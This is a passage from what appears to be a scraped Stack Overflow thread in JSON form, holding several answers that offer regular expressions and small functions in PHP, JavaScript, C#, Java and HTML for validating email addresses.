"author_profile": "https://Stackoverflow.com/users/819417",
"pm_score": 3,
"selected": false,
"text": "^[A-Za-z0-9._+\\-\\']+@[A-Za-z0-9.\\-]+\\.[A-Za-z]{2,}$\n console.log(/^[\\p{L}!#-'*+\\-/\\d=?^-~]+(.[\\p{L}!#-'*+\\-/\\d=?^-~])*@[^@\\s]{2,}$/u.test(\"תה.בועות@.fm\"))"
},
{
"answer_id": 16497018,
"author": "PrivateUser",
"author_id": 736037,
"author_profile": "https://Stackoverflow.com/users/736037",
"pm_score": 1,
"selected": false,
"text": "/**\n * Verifies that an email is valid.\n *\n * Does not grok i18n domains. Not RFC compliant.\n *\n * @since 0.71\n *\n * @param string $email Email address to verify.\n * @param boolean $deprecated Deprecated.\n * @return string|bool Either false or the valid email address.\n */\nfunction is_email( $email, $deprecated = false ) {\n if ( ! empty( $deprecated ) )\n _deprecated_argument( __FUNCTION__, '3.0' );\n\n // Test for the minimum length the email can be\n if ( strlen( $email ) < 3 ) {\n return apply_filters( 'is_email', false, $email, 'email_too_short' );\n }\n\n // Test for an @ character after the first position\n if ( strpos( $email, '@', 1 ) === false ) {\n return apply_filters( 'is_email', false, $email, 'email_no_at' );\n }\n\n // Split out the local and domain parts\n list( $local, $domain ) = explode( '@', $email, 2 );\n\n // LOCAL PART\n // Test for invalid characters\n if ( !preg_match( '/^[a-zA-Z0-9!#$%&\\'*+\\/=?^_`{|}~\\.-]+$/', $local ) ) {\n return apply_filters( 'is_email', false, $email, 'local_invalid_chars' );\n }\n\n // DOMAIN PART\n // Test for sequences of periods\n if ( preg_match( '/\\.{2,}/', $domain ) ) {\n return apply_filters( 'is_email', false, $email, 'domain_period_sequence' );\n }\n\n // Test for leading and trailing periods and whitespace\n if ( trim( $domain, \" \\t\\n\\r\\0\\x0B.\" ) !== $domain ) {\n return apply_filters( 'is_email', false, $email, 'domain_period_limits' );\n }\n\n // Split the domain into subs\n $subs = explode( '.', $domain );\n\n // Assume the domain will have at least two subs\n if ( 2 > count( $subs ) ) {\n return apply_filters( 'is_email', false, $email, 'domain_no_periods' );\n }\n\n // Loop through each sub\n foreach ( $subs as $sub ) {\n // Test for leading and trailing hyphens and whitespace\n if ( trim( $sub, \" \\t\\n\\r\\0\\x0B-\" ) !== $sub ) {\n return apply_filters( 'is_email', false, $email, 'sub_hyphen_limits' );\n }\n\n // Test for invalid characters\n if ( !preg_match('/^[a-z0-9-]+$/i', $sub ) ) {\n return apply_filters( 'is_email', false, $email, 'sub_invalid_chars' );\n }\n }\n\n // Congratulations your email made it!\n return apply_filters( 'is_email', $email, $email, null );\n}\n"
},
{
"answer_id": 17244210,
"author": "user2467899",
"author_id": 2467899,
"author_profile": "https://Stackoverflow.com/users/2467899",
"pm_score": -1,
"selected": false,
"text": "function validateEmail()\n{\n var x = document.f.email.value;\n var atpos = x.indexOf(\"@\");\n var dotpos = x.lastIndexOf(\".\");\n if (atpos < 1 || dotpos < atpos+2 || dotpos+2 >= x.length)\n {\n alert(\"Not a valid e-mail address\");\n return false;\n }\n}\n"
},
{
"answer_id": 17742589,
"author": "mrswadge",
"author_id": 1247302,
"author_profile": "https://Stackoverflow.com/users/1247302",
"pm_score": 2,
"selected": false,
"text": "^(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])$\n [a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\n ^[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$\n"
},
{
"answer_id": 19592376,
"author": "Francisco Costa",
"author_id": 621727,
"author_profile": "https://Stackoverflow.com/users/621727",
"pm_score": 0,
"selected": false,
"text": "^[_a-zA-Z0-9-]+(\\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\\.[a-zA-Z0-9-]+)*\\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))$\n"
},
{
"answer_id": 20413337,
"author": "mirabilos",
"author_id": 2171120,
"author_profile": "https://Stackoverflow.com/users/2171120",
"pm_score": 2,
"selected": false,
"text": "Mail::RFC822::Address \\d preg_match(\"_^[-!#-'*+/-9=?A-Z^-~]+(\\.[-!#-'*+/-9=?A-Z^-~]+)*@[0-9A-Za-z]([-0-9A-Za-z]{0,61}[0-9A-Za-z])?(\\.[0-9A-Za-z]([-0-9A-Za-z]{0,61}[0-9A-Za-z])?)*\\$_\", $adr)\n"
},
{
"answer_id": 20428348,
"author": "auco",
"author_id": 388412,
"author_profile": "https://Stackoverflow.com/users/388412",
"pm_score": 3,
"selected": false,
"text": "<input type=\"email\"> <input type=\"email\" required />\n input:required {\n background-color: rgba(255, 0, 0, 0.2);\n }\n\n input:focus:invalid {\n box-shadow: 0 0 1em red;\n border-color: red;\n }\n\n input:focus:valid {\n box-shadow: 0 0 1em green;\n border-color: green;\n }\n"
},
{
"answer_id": 21595782,
"author": "Suhaib Janjua",
"author_id": 3240038,
"author_profile": "https://Stackoverflow.com/users/3240038",
"pm_score": 2,
"selected": false,
"text": "\"\\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\\Z\";\n using System.Text.RegularExpressions;\n private bool IsValidEmail(string email) {\n bool isValid = false;\n const string pattern = @\"\\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\\Z\";\n\n isValid = email != \"\" && Regex.IsMatch(email, pattern);\n\n // Same above approach in multiple lines\n //\n //if (!email) {\n // isValid = false;\n //} else {\n // // email param contains a value; Pass it to the isMatch method\n // isValid = Regex.IsMatch(email, pattern);\n //}\n return isValid;\n}\n"
},
{
"answer_id": 22078163,
"author": "Coder12345",
"author_id": 974700,
"author_profile": "https://Stackoverflow.com/users/974700",
"pm_score": 3,
"selected": false,
"text": "/^[^@\\s]+@[^@\\s]+$/"
},
{
"answer_id": 24092435,
"author": "Joeytje50",
"author_id": 1256925,
"author_profile": "https://Stackoverflow.com/users/1256925",
"pm_score": 2,
"selected": false,
"text": "/^(?!(^[.-].*|.*[.-]@|.*\\.{2,}.*)|^.{254}.+@)([a-z\\xC0-\\xFF0-9!#$%&'*+\\/=?^_`{|}~.-]+@)(?!.{253}.+$)((?!-.*|.*-\\.)([a-z0-9-]{1,63}\\.)+[a-z]{2,63}|(([01]?[0-9]{2}|2([0-4][0-9]|5[0-5])|[0-9])\\.){3}([01]?[0-9]{2}|2([0-4][0-9]|5[0-5])|[0-9]))$/gim\n ^(?!(^[.-].*|.*[.-]@|.*\\.{2,}.*)|^.{254}.+@)\n([a-z\\xC0-\\xFF0-9!#$%&'*+\\/=?^_`{|}~.-]+@)\n(?!.{253}.+$)\n(\n (?!-.*|.*-\\.)\n ([a-z0-9-]{1,63}\\.)+\n [a-z]{2,63}\n |\n (([01]?[0-9]{2}|2([0-4][0-9]|5[0-5])|[0-9])\\.){3}\n ([01]?[0-9]{2}|2([0-4][0-9]|5[0-5])|[0-9])\n)$\n (?!(^[.-].*|.*[.-]@|.*\\.{2,}.*)|^.{254}.+@)\n . .. ([a-z\\xC0-\\xFF0-9!#$%&'*+\\/=?^_`{|}~.-]+@)\n (?!.{253}.+$)\n (?!-.*|.*-\\.)\n . ([a-z0-9-]{1,63}\\.)+\n [a-zA-Z]{2,63}\n (([01]?[0-9]{2}|2([0-4][0-9]|5[0-5])|[0-9])\\.){3}\n([01]?[0-9]{2}|2([0-4][0-9]|5[0-5])|[0-9])\n . ."
},
{
"answer_id": 24836448,
"author": "Alexey Ossikine",
"author_id": 3850045,
"author_profile": "https://Stackoverflow.com/users/3850045",
"pm_score": 2,
"selected": false,
"text": "/^(?!\\.)((?!.*\\.{2})[a-zA-Z0-9\\u0080-\\u00FF\\u0100-\\u017F\\u0180-\\u024F\\u0250-\\u02AF\\u0300-\\u036F\\u0370-\\u03FF\\u0400-\\u04FF\\u0500-\\u052F\\u0530-\\u058F\\u0590-\\u05FF\\u0600-\\u06FF\\u0700-\\u074F\\u0750-\\u077F\\u0780-\\u07BF\\u07C0-\\u07FF\\u0900-\\u097F\\u0980-\\u09FF\\u0A00-\\u0A7F\\u0A80-\\u0AFF\\u0B00-\\u0B7F\\u0B80-\\u0BFF\\u0C00-\\u0C7F\\u0C80-\\u0CFF\\u0D00-\\u0D7F\\u0D80-\\u0DFF\\u0E00-\\u0E7F\\u0E80-\\u0EFF\\u0F00-\\u0FFF\\u1000-\\u109F\\u10A0-\\u10FF\\u1100-\\u11FF\\u1200-\\u137F\\u1380-\\u139F\\u13A0-\\u13FF\\u1400-\\u167F\\u1680-\\u169F\\u16A0-\\u16FF\\u1700-\\u171F\\u1720-\\u173F\\u1740-\\u175F\\u1760-\\u177F\\u1780-\\u17FF\\u1800-\\u18AF\\u1900-\\u194F\\u1950-\\u197F\\u1980-\\u19DF\\u19E0-\\u19FF\\u1A00-\\u1A1F\\u1B00-\\u1B7F\\u1D00-\\u1D7F\\u1D80-\\u1DBF\\u1DC0-\\u1DFF\\u1E00-\\u1EFF\\u1F00-\\u1FFFu20D0-\\u20FF\\u2100-\\u214F\\u2C00-\\u2C5F\\u2C60-\\u2C7F\\u2C80-\\u2CFF\\u2D00-\\u2D2F\\u2D30-\\u2D7F\\u2D80-\\u2DDF\\u2F00-\\u2FDF\\u2FF0-\\u2FFF\\u3040-\\u309F\\u30A0-\\u30FF\\u3100-\\u312F\\u3130-\\u318F\\u3190-\\u319F\\u31C0-\\u31EF\\u31F0-\\u31FF\\u3200-\\u32FF\\u3300-\\u33FF\\u3400-\\u4DBF\\u4DC0-\\u4DFF\\u4E00-\\u9FFF\\uA000-\\uA48F\\uA490-\\uA4CF\\uA700-\\uA71F\\uA800-\\uA82F\\uA840-\\uA87F\\uAC00-\\uD7AF\\uF900-\\uFAFF\\.!#$%&'*+-/=?^_`{|}~\\-\\d]+)@(?!\\.)([a-zA-Z0-9\\u0080-\\u00FF\\u0100-\\u017F\\u0180-\\u024F\\u0250-\\u02AF\\u0300-\\u036F\\u0370-\\u03FF\\u0400-\\u04FF\\u0500-\\u052F\\u0530-\\u058F\\u0590-\\u05FF\\u0600-\\u06FF\\u0700-\\u074F\\u0750-\\u077F\\u0780-\\u07BF\\u07C0-\\u07FF\\u0900-\\u097F\\u0980-\\u09FF\\u0A00-\\u0A7F\\u0A80-\\u0AFF\\u0B00-\\u0B7F\\u0B80-\\u0BFF\\u0C00-\\u0C7F\\u0C80-\\u0CFF\\u0D00-\\u0D7F\\u0D80-\\u0DFF\\u0E00-\\u0E7F\\u0E80-\\u0EFF\\u0F00-\\u0FFF\\u1000-\\u109F\\u10A0-\\u10FF\\u1100-\\u11FF\\u1200-\\u137F\\u1380-\\u139F\\u13A0-\\u13FF\\u1400-\\u167F\\u1680-\\u169F\\u16A0-\\u16FF\\u1700-\\u171F\\u1720-\\u173F\\u1740-\\u175F\\u1760-\\u177F\\u1780-\\u17FF\\u1800-\\u18AF\\u1900-\\u194F\\u1950-\\u197F\\u1980-\\u19DF\\u19E0-\\u19FF\\u1A00-\\u1A1F\\u1B00-\\u1B7F\\u1D00-\\u1D7F\\u1D80-\\u1DBF\\u1DC0-\\u1DFF\\u1E00-\\u1EFF\\u1F00-\\u1FFF\\u20D0-\\u20FF\\u2100-\\u214F\\u2C00-\\u2C5F\\u2C60-\\u2C7F\\u2C80-\\u2CFF\\u2D00-\\u2D2F\\u2D30-\\u2D7F\\u2D80-\\u2DDF\\u2F00-\\u2FDF\\u2FF0-\\u2FFF\\u3040-\\u309F\\u30A0-\\u30FF\\u3100-\\u312F\\u3130-\\u318F\\u3190-\\u319F\\u31C0-\\u31EF\\u31F0-\\u31FF\\u3200-\\u32FF\\u3300-\\u33FF\\u3400-\\u4DBF\\u4DC0-\\u4DFF\\u4E00-\\u9FFF\\uA000-\\uA48F\\uA490-\\uA4CF\\uA700-\\uA71F\\uA800-\\uA82F\\uA840-\\uA87F\\uAC00-\\uD7AF\\uF900-\\uFAFF\\-\\.\\d]+)((\\.([a-zA-Z\\u0080-\\u00FF\\u0100-\\u017F\\u0180-\\u024F\\u0250-\\u02AF\\u0300-\\u036F\\u0370-\\u03FF\\u0400-\\u04FF\\u0500-\\u052F\\u0530-\\u058F\\u0590-\\u05FF\\u0600-\\u06FF\\u0700-\\u074F\\u0750-\\u077F\\u0780-\\u07BF\\u07C0-\\u07FF\\u0900-\\u097F\\u0980-\\u09FF\\u0A00-\\u0A7F\\u0A80-\\u0AFF\\u0B00-\\u0B7F\\u0B80-\\u0BFF\\u0C00-\\u0C7F\\u0C80-\\u0CFF\\u0D00-\\u0D7F\\u0D80-\\u0DFF\\u0E00-\\u0E7F\\u0E80-\\u0EFF\\u0F00-\\u0FFF\\u1000-\\u109F\\u10A0-\\u10FF\\u1100-\\u11FF\\u1200-\\u137F\\u1380-\\u139F\\u13A0-\\u13FF\\u1400-\\u167F\\u1680-\\u169F\\u16A0-\\u16FF\\u1700-\\u171F\\u1720-\\u173F\\u1740-\\u175F\\u1760-\\u177F\\u1780-\\u17FF\\u1800-\\u18AF\\u1900-\\u194F\\u1950-\\u197F\\u1980-\\u19DF\\u19E0-\\u19FF\\u1A00-\\u1A1F\\u1B00-\\u1B7F\\u1D00-\\u1D7F\\u1D80-\\u1DBF\\u1DC0-\\u1DFF\\u1E00-\\u1EFF\\u1F00-\\u1FFF\\u20D0-\\u20FF\\u2100-\\u214F\\u2C00-\\u2C5F\\u2C60-\\u2C7F\\u2C80-\\u2CFF\\u2D00-\\u2D2F\\u2D30-\\u2D7F\\u2D80-\\u2DDF\\u2F00-\\u2FDF\\u2FF0-\\u2FFF\\u3040-\\u309F\\u30A0-\\u30FF\\u3100-\\u312F\\u3130-\\u318F\\u3190-\\u319F\\u31C0-\\u31EF\\u31F0-\\u31FF\\u3200-\\u32FF\\u3300-\\u33FF\\u3400-\\u4DBF\\u4DC0-\\u4DFF\\u4E00-\\u9FFF\\uA000-\\uA48F\\uA490-\\uA4CF\\uA700-\\uA71F\\uA800-\\uA82F\\uA840-\\uA87F\\uAC00-\\uD7AF\\uF900-\\uFAFF]){2,63})+)$/i\n"
},
{
"answer_id": 25055145,
"author": "Fragment",
"author_id": 2157164,
"author_profile": "https://Stackoverflow.com/users/2157164",
"pm_score": 2,
"selected": false,
"text": "^[_a-zA-Z0-9-]+(\\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\\.[a-zA-Z0-9-]+)*(\\.[a-zA-Z]{2,6})$\n"
},
{
"answer_id": 25158388,
"author": "McGaz",
"author_id": 2116417,
"author_profile": "https://Stackoverflow.com/users/2116417",
"pm_score": 2,
"selected": false,
"text": "{something}@{something}.{something} (.+)@(.+){2,}\\.(.+){2,}\n"
},
{
"answer_id": 25484628,
"author": "sunleo",
"author_id": 1755242,
"author_profile": "https://Stackoverflow.com/users/1755242",
"pm_score": 2,
"selected": false,
"text": "try\n{\n InternetAddress internetAddress = new InternetAddress(email);\n internetAddress.validate();\n return true;\n}\ncatch(Exception ex)\n{\n return false;\n}\n"
},
{
"answer_id": 25789972,
"author": "zıəs uɐɟəʇs",
"author_id": 2115830,
"author_profile": "https://Stackoverflow.com/users/2115830",
"pm_score": 1,
"selected": false,
"text": "/^[\\w.+-_]+@[^.][\\w.-]*\\.[\\w-]{2,63}$/iu\n"
},
{
"answer_id": 26800017,
"author": "Prasad Bhosale",
"author_id": 3698756,
"author_profile": "https://Stackoverflow.com/users/3698756",
"pm_score": 2,
"selected": false,
"text": "^.+@\\w+(\\.\\w+)+$\n"
},
{
"answer_id": 26861346,
"author": "Rajneesh071",
"author_id": 1369972,
"author_profile": "https://Stackoverflow.com/users/1369972",
"pm_score": -1,
"selected": false,
"text": "\n[A-Z0-9a-z.!#$%&'*+-/=?^_`{|}~]+@[A-Za-z0-9.-]+\\\\.[A-Za-z]{2,4}\n"
},
{
"answer_id": 27394451,
"author": "Ramesh Kotkar",
"author_id": 3090422,
"author_profile": "https://Stackoverflow.com/users/3090422",
"pm_score": 0,
"selected": false,
"text": "^(([^<>()[\\]\\\\.,;:\\s@\\\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\\\"]+)*)|(\\\".+\\\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,}))$\n function checkEmailValidation($email)\n{\n $expression = '/^(([^<>()[\\]\\\\.,;:\\s@\\\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\\\"]+)*)|(\\\".+\\\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,}))$/';\n if(preg_match($expression, $email))\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n function checkEmailValidation(email)\n{\n var pattern = '/^(([^<>()[\\]\\\\.,;:\\s@\\\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\\\"]+)*)|(\\\".+\\\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,}))$/';\n if(pattern.test(email))\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n"
},
{
"answer_id": 31442287,
"author": "Ondřej Šotek",
"author_id": 5112619,
"author_profile": "https://Stackoverflow.com/users/5112619",
"pm_score": 2,
"selected": false,
"text": "/* public static */ function isEmail($value)\n{\n $atom = \"[-a-z0-9!#$%&'*+/=?^_`{|}~]\"; // RFC 5322 unquoted characters in local-part\n $localPart = \"(?:\\\"(?:[ !\\\\x23-\\\\x5B\\\\x5D-\\\\x7E]*|\\\\\\\\[ -~])+\\\"|$atom+(?:\\\\.$atom+)*)\"; // Quoted or unquoted\n $alpha = \"a-z\\x80-\\xFF\"; // Superset of IDN\n $domain = \"[0-9$alpha](?:[-0-9$alpha]{0,61}[0-9$alpha])?\"; // RFC 1034 one domain component\n $topDomain = \"[$alpha](?:[-0-9$alpha]{0,17}[$alpha])?\";\n return (bool) preg_match(\"(^$localPart@(?:$domain\\\\.)+$topDomain\\\\z)i\", $value);\n}\n"
},
{
"answer_id": 32010185,
"author": "Luna",
"author_id": 250076,
"author_profile": "https://Stackoverflow.com/users/250076",
"pm_score": 5,
"selected": false,
"text": "/^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/\n @ @"
},
{
"answer_id": 32541986,
"author": "SIslam",
"author_id": 1045364,
"author_profile": "https://Stackoverflow.com/users/1045364",
"pm_score": 2,
"selected": false,
"text": "[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+(?:[A-Z]{2}AAA|AARP|ABB|ABBOTT|ABOGADO|AC|ACADEMY|ACCENTURE|ACCOUNTANT|ACCOUNTANTS|ACO|ACTIVE|ACTOR|AD|ADAC|ADS|ADULT|AE|AEG|AERO|AF|AFL|AG|AGENCY|AI|AIG|AIRFORCE|AIRTEL|AL|ALIBABA|ALIPAY|ALLFINANZ|ALSACE|AM|AMICA|AMSTERDAM|ANALYTICS|ANDROID|AO|APARTMENTS|APP|APPLE|AQ|AQUARELLE|AR|ARAMCO|ARCHI|ARMY|ARPA|ARTE|AS|ASIA|ASSOCIATES|AT|ATTORNEY|AU|AUCTION|AUDI|AUDIO|AUTHOR|AUTO|AUTOS|AW|AX|AXA|AZ|AZURE|BA|BAIDU|BAND|BANK|BAR|BARCELONA|BARCLAYCARD|BARCLAYS|BARGAINS|BAUHAUS|BAYERN|BB|BBC|BBVA|BCN|BD|BE|BEATS|BEER|BENTLEY|BERLIN|BEST|BET|BF|BG|BH|BHARTI|BI|BIBLE|BID|BIKE|BING|BINGO|BIO|BIZ|BJ|BLACK|BLACKFRIDAY|BLOOMBERG|BLUE|BM|BMS|BMW|BN|BNL|BNPPARIBAS|BO|BOATS|BOEHRINGER|BOM|BOND|BOO|BOOK|BOOTS|BOSCH|BOSTIK|BOT|BOUTIQUE|BR|BRADESCO|BRIDGESTONE|BROADWAY|BROKER|BROTHER|BRUSSELS|BS|BT|BUDAPEST|BUGATTI|BUILD|BUILDERS|BUSINESS|BUY|BUZZ|BV|BW|BY|BZ|BZH|CA|CAB|CAFE|CAL|CALL|CAMERA|CAMP|CANCERRESEARCH|CANON|CAPETOWN|CAPITAL|CAR|CARAVAN|CARDS|CARE|CAREER|CAREERS|CARS|CARTIER|CASA|CASH|CASINO|CAT|CATERING|CBA|CBN|CC|CD|CEB|CENTER|CEO|CERN|CF|CFA|CFD|CG|CH|CHANEL|CHANNEL|CHAT|CHEAP|CHLOE|CHRISTMAS|CHROME|CHURCH|CI|CIPRIANI|CIRCLE|CISCO|CITIC|CITY|CITYEATS|CK|CL|CLAIMS|CLEANING|CLICK|CLINIC|CLINIQUE|CLOTHING|CLOUD|CLUB|CLUBMED|CM|CN|CO|COACH|CODES|COFFEE|COLLEGE|COLOGNE|COM|COMMBANK|COMMUNITY|COMPANY|COMPARE|COMPUTER|COMSEC|CONDOS|CONSTRUCTION|CONSULTING|CONTACT|CONTRACTORS|COOKING|COOL|COOP|CORSICA|COUNTRY|COUPONS|COURSES|CR|CREDIT|CREDITCARD|CREDITUNION|CRICKET|CROWN|CRS|CRUISES|CSC|CU|CUISINELLA|CV|CW|CX|CY|CYMRU|CYOU|CZ|DABUR|DAD|DANCE|DATE|DATING|DATSUN|DAY|DCLK|DE|DEALER|DEALS|DEGREE|DELIVERY|DELL|DELTA|DEMOCRAT|DENTAL|DENTIST|DESI|DESIGN|DEV|DIAMONDS|DIET|DIGITAL|DIRECT|DIRECTORY|DISCOUNT|DJ|DK|DM|DNP|DO|DOCS|DOG|DOHA|DOMAINS|DOOSAN|DOWNLOAD|DRIVE|DUBAI|DURBAN|DVAG|DZ|EARTH|EAT|EC|EDEKA|EDU|EDUCATION|EE|EG|EMAIL|EMERCK|ENERGY|ENGINEER|ENGINEERING|ENTERPRISES|EPSON|EQUIPMENT|ER|ERNI|ES|ESQ|ESTATE|ET|EU|EUROVISION|EUS|EVENTS|EVERBANK|EXCHANGE|EXPERT|EXPOSED|EXPRESS|FAGE|FAIL|FAIRWINDS|FAITH|FAMILY|FAN|FANS|FARM|FASHION|FAST|FEEDBACK|FERRERO|FI|FILM|FINAL|FINANCE|FINANCIAL|FIRESTONE|FIRMDALE|FISH|FISHING|FIT|FITNESS|FJ|FK|FLIGHTS|FLORIST|FLOWERS|FLSMIDTH|FLY|FM|FO|FOO|FOOTBALL|FORD|FOREX|FORSALE|FORUM|FOUNDATION|FOX|FR|FRESENIUS|FRL|FROGANS|FUND|FURNITURE|FUTBOL|FYI|GA|GAL|GALLERY|GAME|GARDEN|GB|GBIZ|GD|GDN|GE|GEA|GENT|GENTING|GF|GG|GGEE|GH|GI|GIFT|GIFTS|GIVES|GIVING|GL|GLASS|GLE|GLOBAL|GLOBO|GM|GMAIL|GMO|GMX|GN|GOLD|GOLDPOINT|GOLF|GOO|GOOG|GOOGLE|GOP|GOT|GOV|GP|GQ|GR|GRAINGER|GRAPHICS|GRATIS|GREEN|GRIPE|GROUP|GS|GT|GU|GUCCI|GUGE|GUIDE|GUITARS|GURU|GW|GY|HAMBURG|HANGOUT|HAUS|HEALTH|HEALTHCARE|HELP|HELSINKI|HERE|HERMES|HIPHOP|HITACHI|HIV|HK|HM|HN|HOCKEY|HOLDINGS|HOLIDAY|HOMEDEPOT|HOMES|HONDA|HORSE|HOST|HOSTING|HOTELES|HOTMAIL|HOUSE|HOW|HR|HSBC|HT|HU|HYUNDAI|IBM|ICBC|ICE|ICU|ID|IE|IFM|IINET|IL|IM|IMMO|IMMOBILIEN|IN|INDUSTRIES|INFINITI|INFO|ING|INK|INSTITUTE|INSURANCE|INSURE|INT|INTERNATIONAL|INVESTMENTS|IO|IPIRANGA|IQ|IR|IRISH|IS|ISELECT|IST|ISTANBUL|IT|ITAU|IWC|JAGUAR|JAVA|JCB|JE|JETZT|JEWELRY|JLC|JLL|JM|JMP|JO|JOBS|JOBURG|JOT|JOY|JP|JPRS|JUEGOS|KAUFEN|KDDI|KE|KFH|KG|KH|KI|KIA|KIM|KINDER|KITCHEN|KIWI|KM|KN|KOELN|KOMATSU|KP|KPN|KR|KRD|KRED|KW|KY|KYOTO|KZ|LA|LACAIXA|LAMBORGHINI|LAMER|LANCASTER|LAND|LANDROVER|LANXESS|LASALLE|LAT|LATROBE|LAW|LAWYER|LB|LC|LDS|LEASE|LECLERC|LEGAL|LEXUS|LGBT|LI|LIAISON|LIDL|LIFE|LIFEINSURANCE|LIFESTYLE|LIGHTING|LIKE|LIMITED|LIMO|LINCOLN|LINDE|LINK|LIVE|LIVING|LIXIL|LK|LOAN|LOANS|LOL|LONDON|LOTTE|LOTTO|LOVE|LR|LS|LT|LTD|LTDA|LU|LUPIN|LUXE|LUXURY|LV|LY|MA|MADRID|MAIF|MAISON|MAKEUP|MAN|MANAGEMENT|MANGO|MARKET|MARKETING|MARKETS|MARRIOTT|MBA|MC|MD|ME|MED|MEDIA|MEET|MELBOURNE|MEME|MEMORIAL|MEN|MENU|MEO|MG|MH|MIAMI|MICROSOFT|MIL|MINI|MK|ML|MM|MMA|MN|MO|MOBI|MOBILY|MODA|MOE|MOI|MOM|MONASH|MONEY|MONTBLANC|MORMON|MORTGAGE|MOSCOW|MOTORCYCLES|MOV|MOVIE|MOVISTAR|MP|MQ|MR|MS|MT|MTN|MTPC|MTR|MU|MUSEUM|MUTUELLE|MV|MW|MX|MY|MZ|NA|NADEX|NAGOYA|NAME|NAVY|NC|NE|NEC|NET|NETBANK|NETWORK|NEUSTAR|NEW|NEWS|NEXUS|NF|NG|NGO|NHK|NI|NICO|NINJA|NISSAN|NL|NO|NOKIA|NORTON|NOWRUZ|NP|NR|NRA|NRW|NTT|NU|NYC|NZ|OBI|OFFICE|OKINAWA|OM|OMEGA|ONE|ONG|ONL|ONLINE|OOO|ORACLE|ORANGE|ORG|ORGANIC|ORIGINS|OSAKA|OTSUKA|OVH|PA|PAGE|PAMPEREDCHEF|PANERAI|PARIS|PARS|PARTNERS|PARTS|PARTY|PE|PET|PF|PG|PH|PHARMACY|PHILIPS|PHOTO|PHOTOGRAPHY|PHOTOS|PHYSIO|PIAGET|PICS|PICTET|PICTURES|PID|PIN|PING|PINK|PIZZA|PK|PL|PLACE|PLAY|PLAYSTATION|PLUMBING|PLUS|PM|PN|POHL|POKER|PORN|POST|PR|PRAXI|PRESS|PRO|PROD|PRODUCTIONS|PROF|PROMO|PROPERTIES|PROPERTY|PROTECTION|PS|PT|PUB|PW|PY|QA|QPON|QUEBEC|RACING|RE|READ|REALTOR|REALTY|RECIPES|RED|REDSTONE|REDUMBRELLA|REHAB|REISE|REISEN|REIT|REN|RENT|RENTALS|REPAIR|REPORT|REPUBLICAN|REST|RESTAURANT|REVIEW|REVIEWS|REXROTH|RICH|RICOH|RIO|RIP|RO|ROCHER|ROCKS|RODEO|ROOM|RS|RSVP|RU|RUHR|RUN|RW|RWE|RYUKYU|SA|SAARLAND|SAFE|SAFETY|SAKURA|SALE|SALON|SAMSUNG|SANDVIK|SANDVIKCOROMANT|SANOFI|SAP|SAPO|SARL|SAS|SAXO|SB|SBS|SC|SCA|SCB|SCHAEFFLER|SCHMIDT|SCHOLARSHIPS|SCHOOL|SCHULE|SCHWARZ|SCIENCE|SCOR|SCOT|SD|SE|SEAT|SECURITY|SEEK|SELECT|SENER|SERVICES|SEVEN|SEW|SEX|SEXY|SFR|SG|SH|SHARP|SHELL|SHIA|SHIKSHA|SHOES|SHOW|SHRIRAM|SI|SINGLES|SITE|SJ|SK|SKI|SKIN|SKY|SKYPE|SL|SM|SMILE|SN|SNCF|SO|SOCCER|SOCIAL|SOFTBANK|SOFTWARE|SOHU|SOLAR|SOLUTIONS|SONY|SOY|SPACE|SPIEGEL|SPREADBETTING|SR|S